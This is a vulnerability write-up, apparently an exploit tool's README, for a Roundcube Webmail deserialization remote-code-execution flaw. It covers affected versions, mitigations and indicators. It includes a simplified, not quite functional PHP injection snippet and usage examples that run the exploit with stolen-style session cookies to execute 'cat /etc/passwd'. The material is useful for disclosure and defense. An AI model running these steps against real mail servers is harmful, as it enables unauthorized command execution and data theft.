CVE-2025-49113 - Roundcube Webmail Remote Code Execution Vulnerability

Technical Overview

CVE-2025-49113 is a critical insecure deserialization vulnerability in Roundcube Webmail that enables authenticated remote code execution. The vulnerability stems from improper handling of serialized PHP objects during file upload operations.

Vulnerability Analysis

• Root Cause: Unsafe deserialization of user-controlled data in the file upload functionality
• Attack Vector: Crafted file upload request containing malicious serialized PHP object
• Technical Details:
  • Exists in program/steps/mail/attach.inc
  • Processes _file parameter metadata without proper validation
  • Combines two injection techniques:
    1. PHP session injection via _form parameter
    2. Malicious object injection via filename parameter

Affected Versions

• Roundcube Webmail 1.5.0 through 1.5.9
• Roundcube Webmail 1.6.0 through 1.6.10

Prerequisites for Exploitation

• PHP 7.0 or higher
• cURL extension enabled
• Valid authenticated session credentials
• File upload functionality access

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Exploitation Mechanism

Technical Workflow

1. Version Verification: Validates vulnerable version through response patterns
2. Authentication Bypass: Uses provided session cookies for authentication
3. Payload Delivery:
   • Crafts multipart/form-data request with PNG image
   • Injects malicious serialized PHP object into filename parameter
   • Injects session manipulation via _form parameter
4. Triggering Deserialization:
   • Vulnerable deserialization routine during file processing
   • Gadget chain execution during object unserialization
5. Command Execution: Leverages system() function for shell command execution

Code Execution Flow

// Simplified exploitation flow
$target_url = $base_url . "?_task=mail&_action=upload&_form=injected_session_data";
$post_data = [
    '_file' => '{"name":"malicious_object_gadget","path":"..."}',
    'file' => curl_file_create('fake.png', 'image/png', 'exploit.png')
];
$response = curl_exec($target_url, $post_data);
// Vulnerable deserialization occurs in attach.inc processing
// Gadget chain triggers command execution: system($_POST['cmd']);

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Usage Instructions

Command Syntax

php CVE-2025-49113-exploit_cookies.php <url> <cookies> <command>

Parameters

Parameter	Description	Example
<url>	Base URL of Roundcube installation	https://mail.example.com/roundcube/
<cookies>	Valid session cookies	roundcube_sessid=abc123; roundcube_sessauth=xyz456
<command>	OS command to execute	id or whoami

Example Execution

php CVE-2025-49113-exploit_cookies.php \
    https://mail.example.com/roundcube/ \
    "roundcube_sessid=abc123; roundcube_sessauth=xyz456" \
    "cat /etc/passwd"

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Detection & Mitigation

Indicators of Compromise

• Unusual file upload requests with serialized data
• Unexpected processes spawned by web server user
• Abnormal entries in Roundcube or web server logs

Mitigation Strategies

1. Immediate Action: Upgrade to Roundcube version 1.6.11 or later
2. Temporary Workaround: Implement input validation filters for file uploads
3. Network Controls:
   • Restrict access to administration interfaces
   • Implement WAF with deserialization attack detection
4. Monitoring: Enhance logging for file upload operations

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References

• NIST NVD Entry
• Roundcube Security Advisory
• Original Research
• Exploit Code Reference
• Technical Analysis

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Legal & Ethical Considerations

This information is provided for educational purposes only. Unauthorized testing against systems without explicit permission is illegal. Always obtain proper authorization before conducting security assessments. The authors and publishers assume no responsibility for any misuse of this information.